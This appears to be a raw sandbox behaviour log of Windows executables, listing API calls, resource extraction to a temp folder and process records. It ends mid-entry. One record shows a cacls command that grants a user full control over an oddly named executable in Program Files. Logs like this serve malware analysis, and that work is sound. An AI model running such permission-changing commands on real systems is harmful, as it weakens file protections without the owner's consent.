!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x02\x0eþ\"äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0105.193] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x80) returned 0x248248 [0105.193] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0105.193] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0105.194] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x248248) returned 0x80 [0105.194] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0105.194] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0105.194] GetCurrentProcess () returned 0xffffffff [0105.194] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0105.194] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0105.194] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0105.194] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0105.194] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0105.194] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0105.194] LockResource (hResData=0x43c648) returned 0x43c648 [0105.194] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x18) returned 0x2482d0 [0105.195] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0105.196] GetLastError () returned 0x20 [0105.197] GetLastError () returned 0x20 [0105.197] SetLastError (dwErrCode=0x20) [0105.197] GetLastError () returned 0x20 [0105.197] SetLastError (dwErrCode=0x20) [0105.197] GetLastError () returned 0x20 [0105.197] SetLastError (dwErrCode=0x20) [0105.198] GetLastError () returned 0x20 [0105.198] SetLastError (dwErrCode=0x20) [0105.198] GetLastError () returned 0x20 [0105.198] SetLastError (dwErrCode=0x20) [0105.198] GetLastError () returned 0x20 [0105.198] SetLastError (dwErrCode=0x20) [0105.198] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1000) returned 0x249828 [0105.198] WriteFile (in: hFile=0x80, lpBuffer=0x18ea08*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e334, lpOverlapped=0x0 | out: lpBuffer=0x18ea08*, lpNumberOfBytesWritten=0x18e334*=0x49, lpOverlapped=0x0) returned 1 [0105.199] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x247818 | out: hHeap=0x230000) returned 1 [0105.199] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0105.199] ExitProcess (uExitCode=0x1) [0105.200] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2460d0 | out: hHeap=0x230000) returned 1 Process: id = "194" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x259eb000" os_pid = "0xe9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "188" os_parent_pid = "0xe4c" cmd_line = "cacls \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 779 os_tid = 0xea0 Process: id = "195" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x249ad000" os_pid = "0xea8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "176" os_parent_pid = "0xdbc" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 781 os_tid = 0xeac [0106.590] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0106.591] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0106.592] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0106.593] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0106.594] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0106.595] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0106.595] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0106.595] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0106.595] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0106.595] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0106.595] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0106.595] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0106.733] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0106.733] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0106.733] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0106.733] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0106.733] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0106.733] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0106.734] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0106.735] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0106.735] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0106.735] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0106.737] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0106.737] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0106.737] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0106.737] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0106.738] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0106.738] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0106.738] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0106.738] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0106.738] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0106.738] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0106.738] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0106.738] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0106.738] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0106.738] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0106.739] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0106.739] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0106.739] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0106.739] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0106.739] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0106.739] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0106.739] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0106.739] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0106.739] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0106.739] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0106.739] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0106.740] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0106.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xe31395c0, dwHighDateTime=0x1d5d06a)) [0106.740] GetCurrentThreadId () returned 0xeac [0106.740] GetCurrentProcessId () returned 0xea8 [0106.740] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=24869223676) returned 1 [0106.740] GetProcessHeap () returned 0x610000 [0106.741] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0106.741] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0106.741] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0106.741] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0106.741] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0106.741] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0106.741] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0106.741] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0106.741] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0106.742] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0106.743] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0106.744] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3bc) returned 0x6270a0 [0106.744] GetCurrentThreadId () returned 0xeac [0106.744] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x18) returned 0x627468 [0106.744] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x800) returned 0x627488 [0106.744] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x289479eb, hStdError=0x0)) [0106.744] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0106.744] GetFileType (hFile=0x3) returned 0x2 [0106.745] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.745] GetFileType (hFile=0x7) returned 0x2 [0106.746] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0106.746] GetFileType (hFile=0xb) returned 0x2 [0106.746] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0106.746] GetEnvironmentStringsW () returned 0x627c90* [0106.746] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xb86) returned 0x628820 [0106.746] FreeEnvironmentStringsW (penv=0x627c90) returned 1 [0106.747] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x94) returned 0x627c90 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xa0) returned 0x627d30 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3e) returned 0x624dd0 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x6c) returned 0x627dd8 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x6e) returned 0x627e50 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x78) returned 0x61f900 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x62) returned 0x627ec8 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2e) returned 0x627f38 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x48) returned 0x627f70 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2a) returned 0x627fc0 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x28) returned 0x627ff8 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x1a) returned 0x626a70 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4a) returned 0x628028 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x72) returned 0x61f980 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x30) returned 0x628080 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x2e) returned 0x6280b8 [0106.747] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, 